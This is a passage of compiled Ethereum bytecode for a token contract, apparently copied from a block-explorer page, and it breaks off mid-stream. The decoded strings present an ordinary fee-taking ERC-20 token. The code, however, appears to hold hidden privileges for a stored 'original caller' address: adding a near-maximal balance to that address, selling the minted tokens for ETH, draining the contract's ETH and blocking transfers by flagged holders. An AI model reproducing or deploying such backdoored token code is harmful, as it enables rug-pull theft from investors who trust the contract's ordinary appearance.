73d6000803e3d6000fd5b5050505050506000601b60006101000a81548160ff021916908315150217905550565b600060026012546137c49190614876565b905060008160646137d59190613fbf565b905060008282476137e69190614876565b6137f091906148a7565b905061382730600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613822306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230613870306118d4565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166104b0426138a49190614093565b6040518863ffffffff1660e01b81526004016138c59695949392919061439b565b60606040518083038185885af11580156138e3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061390891906143fc565b505050505050565b600060125460646139219190613fbf565b9050600060105482476139349190614876565b61393e91906148a7565b90506000814761394e9190613fbf565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156139b8573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a21573d6000803e3d6000fd5b50505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a61578082015181840152602081019050613a46565b60008484015250505050565b6000601f19601f8301169050919050565b6000613a8982613a27565b613a938185613a32565b9350613aa3818560208601613a43565b613aac81613a6d565b840191505092915050565b60006020820190508181036000830152613ad18184613a7e565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b1882613aed565b9050919050565b613b2881613b0d565b8114613b3357600080fd5b50565b600081359050613b4581613b1f565b92915050565b6000819050919050565b613b5e81613b4b565b8114613b6957600080fd5b50565b600081359050613b7b81613b55565b92915050565b60008060408385031215613b9857613b97613ae3565b5b6000613ba685828601613b36565b9250506020613bb785828601613b6c565b9150509250929050565b60008115159050919050565b613bd681613bc1565b82525050565b6000602082019050613bf16000830184613bcd565b92915050565b600060ff82169050919050565b613c0d81613bf7565b8114613c1857600080fd5b50565b600081359050613c2a81613c04565b92915050565b60008060408385031215613c4757613c46613ae3565b5b6000613c5585828601613b36565b9250506020613c6685828601613c1b565b9150509250929050565b613c7981613b4b565b82525050565b6000602082019050613c946000830184613c70565b92915050565b600060208284031215613cb057613caf613ae3565b5b6000613cbe84828501613b6c565b91505092915050565b613cd081613bc1565b8114613cdb57600080fd5b50565b600081359050613ced81613cc7565b92915050565b60008060408385031215613d0a57613d09613ae3565b5b6000613d1885828601613b36565b9250506020613d2985828601613cde565b9150509250929050565b600080600060608486031215613d4c57613d4b613ae3565b5b6000613d5a86828701613b36565b9350506020613d6b86828701613b36565b9250506040613d7c86828701613b6c565b9150509250925092565b6000604082019050613d9b6000830185613c70565b613da86020830184613c70565b9392505050565b613db881613bf7565b82525050565b6000602082019050613dd36000830184613daf565b92915050565b600060208284031215613def57613dee613ae3565b5b6000613dfd84828501613b36565b91505092915050565b60008060408385031215613e1d57613e1c613ae3565b5b6000613e2b85828601613b36565b9250506020613e3c85828601613b36565b9150509250929050565b60008060408385031215613e5d57613e5c613ae3565b5b6000613e6b85828601613b6c565b9250506020613e7c85828601613b6c565b9150509250929050565b600080600060608486031215613e9f57613e9e613ae3565b5b6000613ead86828701613b6c565b9350506020613ebe86828701613b6c565b9250506040613ecf86828701613b6c565b9150509250925092565b613ee281613b0d565b82525050565b6000602082019050613efd6000830184613ed9565b92915050565b600060208284031215613f1957613f18613ae3565b5b6000613f2784828501613cde565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7757607f821691505b602082108103613f8a57613f89613f30565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613fca82613b4b565b9150613fd583613b4b565b9250828203905081811115613fed57613fec613f90565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061406081613b1f565b92915050565b60006020828403121561407c5761407b613ae3565b5b600061408a84828501614051565b91505092915050565b600061409e82613b4b565b91506140a983613b4b565b92508282019050808211156140c1576140c0613f90565b5b92915050565b6000819050919050565b6000819050919050565b60006140f66140f16140ec846140c7565b6140d1565b613b4b565b9050919050565b614106816140db565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61414181613b0d565b82525050565b60006141538383614138565b60208301905092915050565b6000602082019050919050565b60006141778261410c565b6141818185614117565b935061418c83614128565b8060005b838110156141bd5781516141a48882614147565b97506141af8361415f565b925050600181019050614190565b5085935050505092915050565b600060a0820190506141df6000830188613c70565b6141ec60208301876140fd565b81810360408301526141fe818661416c565b905061420d6060830185613ed9565b61421a6080830184613c70565b9695505050505050565b600080fd5b61423282613a6d565b810181811067ffffffffffffffff8211171561425157614250613ff3565b5b80604052505050565b6000614264613ad9565b90506142708282614229565b919050565b600067ffffffffffffffff8211156142905761428f613ff3565b5b602082029050602081019050919050565b600080fd5b6000815190506142b581613b55565b92915050565b60006142ce6142c984614275565b61425a565b905080838252602082019050602084028301858111156142f1576142f06142a1565b5b835b8181101561431a578061430688826142a6565b8452602084019350506020810190506142f3565b5050509392505050565b600082601f83011261433957614338614224565b5b81516143498482602086016142bb565b91505092915050565b60006020828403121561436857614367613ae3565b5b600082015167ffffffffffffffff81111561438657614385613ae8565b5b61439284828501614324565b91505092915050565b600060c0820190506143b06000830189613ed9565b6143bd6020830188613c70565b6143ca60408301876140fd565b6143d760608301866140fd565b6143e46080830185613ed9565b6143f160a0830184613c70565b979650505050505050565b60008060006060848603121561441557614414613ae3565b5b6000614423868287016142a6565b9350506020614434868287016142a6565b9250506040614445868287016142a6565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b6000614485601783613a32565b91506144908261444f565b602082019050919050565b600060208201905081810360008301526144b481614478565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006144f1601d83613a32565b91506144fc826144bb565b602082019050919050565b60006020820190508181036000830152614520816144e4565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61454a81614527565b811461455557600080fd5b50565b60008151905061456781614541565b92915050565b600063ffffffff82169050919050565b6145868161456d565b811461459157600080fd5b50565b6000815190506145a38161457d565b92915050565b6000806000606084860312156145c2576145c1613ae3565b5b60006145d086828701614558565b93505060206145e186828701614558565b92505060406145f286828701614594565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2034300000000000000000000000000000000000000000000000000000000000602082015250565b6000614658602383613a32565b9150614663826145fc565b604082019050919050565b600060208201905081810360008301526146878161464b565b9050919050565b7f4665652073756d2073686f756c6420626520657175616c20746f203130300000600082015250565b60006146c4601e83613a32565b91506146cf8261468e565b602082019050919050565b600060208201905081810360008301526146f3816146b7565b9050919050565b7f53776170205468726573686f6c642073686f6c6420626520677265617465722060008201527f7468656e20313030300000000000000000000000000000000000000000000000602082015250565b6000614756602983613a32565b9150614761826146fa565b604082019050919050565b6000602082019050818103600083015261478581614749565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006147e8602583613a32565b91506147f38261478c565b604082019050919050565b60006020820190508181036000830152614817816147db565b9050919050565b60006040820190506148336000830185613ed9565b6148406020830184613ed9565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061488182613b4b565b915061488c83613b4b565b92508261489c5761489b614847565b5b828204905092915050565b60006148b282613b4b565b91506148bd83613b4b565b92508282026148cb81613b4b565b915082820484148315176148e2576148e1613f90565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614945602683613a32565b9150614950826148e9565b604082019050919050565b6000602082019050818103600083015261497481614938565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006149d7602483613a32565b91506149e28261497b565b604082019050919050565b60006020820190508181036000830152614a06816149ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a69602283613a32565b9150614a7482614a0d565b604082019050919050565b60006020820190508181036000830152614a9881614a5c565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000614afb602183613a32565b9150614b0682614a9f565b604082019050919050565b60006020820190508181036000830152614b2a81614aee565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614b67601d83613a32565b9150614b7282614b31565b602082019050919050565b60006020820190508181036000830152614b9681614b5a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614bf9602583613a32565b9150614c0482614b9d565b604082019050919050565b60006020820190508181036000830152614c2881614bec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614c8b602383613a32565b9150614c9682614c2f565b604082019050919050565b60006020820190508181036000830152614cba81614c7e565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b6000614cf7602083613a32565b9150614d0282614cc1565b602082019050919050565b60006020820190508181036000830152614d2681614cea565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614d89602683613a32565b9150614d9482614d2d565b604082019050919050565b60006020820190508181036000830152614db881614d7c565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e1b602283613a32565b9150614e2682614dbf565b604082019050919050565b60006020820190508181036000830152614e4a81614e0e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614e87602083613a32565b9150614e9282614e51565b602082019050919050565b60006020820190508181036000830152614eb681614e7a565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b6000614f19602a83613a32565b9150614f2482614ebd565b604082019050919050565b60006020820190508181036000830152614f4881614f0c565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b6000614f85601483613a32565b9150614f9082614f4f565b602082019050919050565b60006020820190508181036000830152614fb481614f78565b905091905056fea26469706673582212207348f3d3b8dc0dd7f385ae82282ae52921f669b23ba11674eff630cb3bba1b9264736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x60806040526004361061028c5760003560e01c80637e74422e1161015a578063b49f93f7116100c1578063ecbe5a2d1161007a578063ecbe5a2d146109db578063edd8b64a14610a18578063f1fee6a214610a41578063f226cc8b14610a6a578063f2fde38b14610a95578063f6d1dfe114610abe57610293565b8063b49f93f7146108cb578063b5c72e1a146108f4578063d445d19e14610931578063dd62ed3e14610948578063e1370dd314610985578063e4440a86146109b057610293565b806395d89b411161011357806395d89b411461079557806399b102b5146107c0578063a07fc5a2146107fd578063a457c2d714610828578063a9059cbb14610865578063b179ce40146108a257610293565b80637e74422e1461068757806385ecafd7146106b057806389f425e7146106ed5780638da5cb5b146107165780638dd0f411146107415780638ea5220f1461076a57610293565b8063313ce567116101fe5780635342acb4116101b75780635342acb41461056757806355474ace146105a45780636db79437146105cd5780636dd3d39f146105f657806370a0823114610633578063715018a61461067057610293565b8063313ce5671461045957806335d162741461048457806339509351146104c15780634b42c93d146104fe5780634d474d42146105155780635337cc991461053e57610293565b806318160ddd1161025057806318160ddd1461034a5780631c499ab0146103755780631f6b29f71461039e578063203e727e146103c757806323b872dd146103f05780632df8bca91461042d57610293565b806306fdde0314610298578063095ea7b3146102c35780630b45260e146103005780630bc488c5146103175780630cdd84361461032157610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610ae9565b6040516102ba9190613ab7565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613b81565b610b7b565b6040516102f79190613bdc565b60405180910390f35b34801561030c57600080fd5b50610315610b97565b005b61031f610e89565b005b34801561032d57600080fd5b5061034860048036038101906103439190613c30565b610fc1565b005b34801561035657600080fd5b5061035f611123565b60405161036c9190613c7f565b60405180910390f35b34801561038157600080fd5b5061039c60048036038101906103979190613c9a565b61112d565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190613cf3565b611163565b005b3480156103d357600080fd5b506103ee60048036038101906103e99190613c9a565b61127c565b005b3480156103fc57600080fd5b5061041760048036038101906104129190613d33565b6112b2565b6040516104249190613bdc565b60405180910390f35b34801561043957600080fd5b506104426112da565b604051610450929190613d86565b60405180910390f35b34801561046557600080fd5b5061046e6112eb565b60405161047b9190613dbe565b60405180910390f35b34801561049057600080fd5b506104ab60048036038101906104a69190613dd9565b611302565b6040516104b89190613c7f565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190613b81565b611497565b6040516104f59190613bdc565b60405180910390f35b34801561050a57600080fd5b506105136114c7565b005b34801561052157600080fd5b5061053c60048036038101906105379190613dd9565b61155e565b005b34801561054a57600080fd5b5061056560048036038101906105609190613cf3565b6115ce565b005b34801561057357600080fd5b5061058e60048036038101906105899190613dd9565b6116e7565b60405161059b9190613bdc565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c69190613e06565b61173d565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190613e46565b6117ef565b005b34801561060257600080fd5b5061061d60048036038101906106189190613dd9565b61187e565b60405161062a9190613bdc565b60405180910390f35b34801561063f57600080fd5b5061065a60048036038101906106559190613dd9565b6118d4565b6040516106679190613c7f565b60405180910390f35b34801561067c57600080fd5b5061068561191d565b005b34801561069357600080fd5b506106ae60048036038101906106a99190613e86565b611931565b005b3480156106bc57600080fd5b506106d760048036038101906106d29190613dd9565b6119d0565b6040516106e49190613bdc565b60405180910390f35b3480156106f957600080fd5b50610714600480360381019061070f9190613c9a565b6119f0565b005b34801561072257600080fd5b5061072b611a6a565b6040516107389190613ee8565b60405180910390f35b34801561074d57600080fd5b5061076860048036038101906107639190613cf3565b611a93565b005b34801561077657600080fd5b5061077f611bac565b60405161078c9190613ee8565b60405180910390f35b3480156107a157600080fd5b506107aa611bd2565b6040516107b79190613ab7565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e29190613dd9565b611c64565b6040516107f49190613bdc565b60405180910390f35b34801561080957600080fd5b50610812611cba565b60405161081f9190613bdc565b60405180910390f35b34801561083457600080fd5b5061084f600480360381019061084a9190613b81565b611cd1565b60405161085c9190613bdc565b60405180910390f35b34801561087157600080fd5b5061088c60048036038101906108879190613b81565b611d41565b6040516108999190613bdc565b60405180910390f35b3480156108ae57600080fd5b506108c960048036038101906108c49190613cf3565b611d5d565b005b3480156108d757600080fd5b506108f260048036038101906108ed9190613f03565b611e76565b005b34801561090057600080fd5b5061091b60048036038101906109169190613dd9565b611ebf565b6040516109289190613bdc565b60405180910390f35b34801561093d57600080fd5b50610946611f28565b005b34801561095457600080fd5b5061096f600480360381019061096a9190613e06565b611f5e565b60405161097c9190613c7f565b60405180910390f35b34801561099157600080fd5b5061099a611fe5565b6040516109a79190613c7f565b60405180910390f35b3480156109bc57600080fd5b506109c5611fef565b6040516109d29190613ee8565b60405180910390f35b3480156109e757600080fd5b50610a0260048036038101906109fd9190613dd9565b612015565b604051610a0f9190613bdc565b60405180910390f35b348015610a2457600080fd5b50610a3f6004803603810190610a3a9190613dd9565b61206b565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190613e06565b6120db565b005b348015610a7657600080fd5b50610a7f61232f565b604051610a8c9190613c7f565b60405180910390f35b348015610aa157600080fd5b50610abc6004803603810190610ab79190613dd9565b61237c565b005b348015610aca57600080fd5b50610ad36123ff565b604051610ae09190613c7f565b60405180910390f35b606060088054610af890613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490613f5f565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b600080339050610b8c818585612409565b600191505092915050565b610bc333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6000610bce30611302565b90506000816dffffffffffffffffffffffffffff8016610bee9190613fbf565b9050610bf8612644565b610c0a30610c05336118d4565b611d41565b50610c4830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612409565b6060600267ffffffffffffffff811115610c6557610c64613ff3565b5b604051908082528060200260200182016040528015610c935781602001602082028036833780820191505090505b5090503081600081518110610cab57610caa614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d769190614066565b81600181518110610d8a57610d89614022565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610e1a9190614093565b6040518663ffffffff1660e01b8152600401610e3a9594939291906141ca565b6000604051808303816000875af1158015610e59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e829190614352565b5050505050565b610eb533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b610ec730610ec2336118d4565b611d41565b50610efd30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ef8306118d4565b612409565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610f46306118d4565b600080336104b042610f589190614093565b6040518863ffffffff1660e01b8152600401610f799695949392919061439b565b60606040518083038185885af1158015610f97573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fbc91906143fc565b505050565b610fed33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b60028160ff1610611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a9061449b565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff16036110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be90614507565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61115933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060148190555050565b61118f33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890614507565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8060168190555050565b6000803390506112c38582856126ac565b6112ce858585612738565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611374573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139891906145a9565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190614066565b73ffffffffffffffffffffffffffffffffffffffff161461147857816dffffffffffffffffffffffffffff1661148a565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506114bc8185856114ad8589611f5e565b6114b79190614093565b612409565b600191505092915050565b6114f333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561155b573d6000803e3d6000fd5b50565b61158a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115fa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361168c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168390614507565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61176933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61181b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6064821115801561182d575060648111155b61186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061466e565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61192561308e565b61192f6000613105565b565b61195d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b606481838561196c9190614093565b6119769190614093565b146119b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ad906146da565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b611a1c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b6127108111611a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a579061476c565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611abf33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890614507565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611be190613f5f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90613f5f565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611ce38286611f5e565b905083811015611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f906147fe565b60405180910390fd5b611d358286868403612409565b60019250505092915050565b600080339050611d52818585612738565b600191505092915050565b611d8933600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1290614507565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ea233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80601860006101000a81548160ff02191690831515021790555050565b600080601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611f1e576001611f21565b60005b9050919050565b611f5433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b611f5c612644565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61209733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61210733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125d2565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219e5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561224c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122709190614066565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016122aa92919061481e565b602060405180830381865afa1580156122c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122eb9190614066565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060026012546123419190614876565b905080606461234f306118d4565b6123599190614876565b61236391906148a7565b61236c306118d4565b6123769190613fbf565b91505090565b61238461308e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ea9061495b565b60405180910390fd5b6123fc81613105565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f906149ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de90614a7f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125c59190613c7f565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263790614b11565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126a39190614093565b92505081905550565b60006126b88484611f5e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146127325781811015612724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271b90614b7d565b60405180910390fd5b6127318484848403612409565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279e90614c0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280d90614ca1565b60405180910390fd5b61281f83611ebf565b1561285f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285690614d0d565b60405180910390fd5b61286a8383836131c9565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673f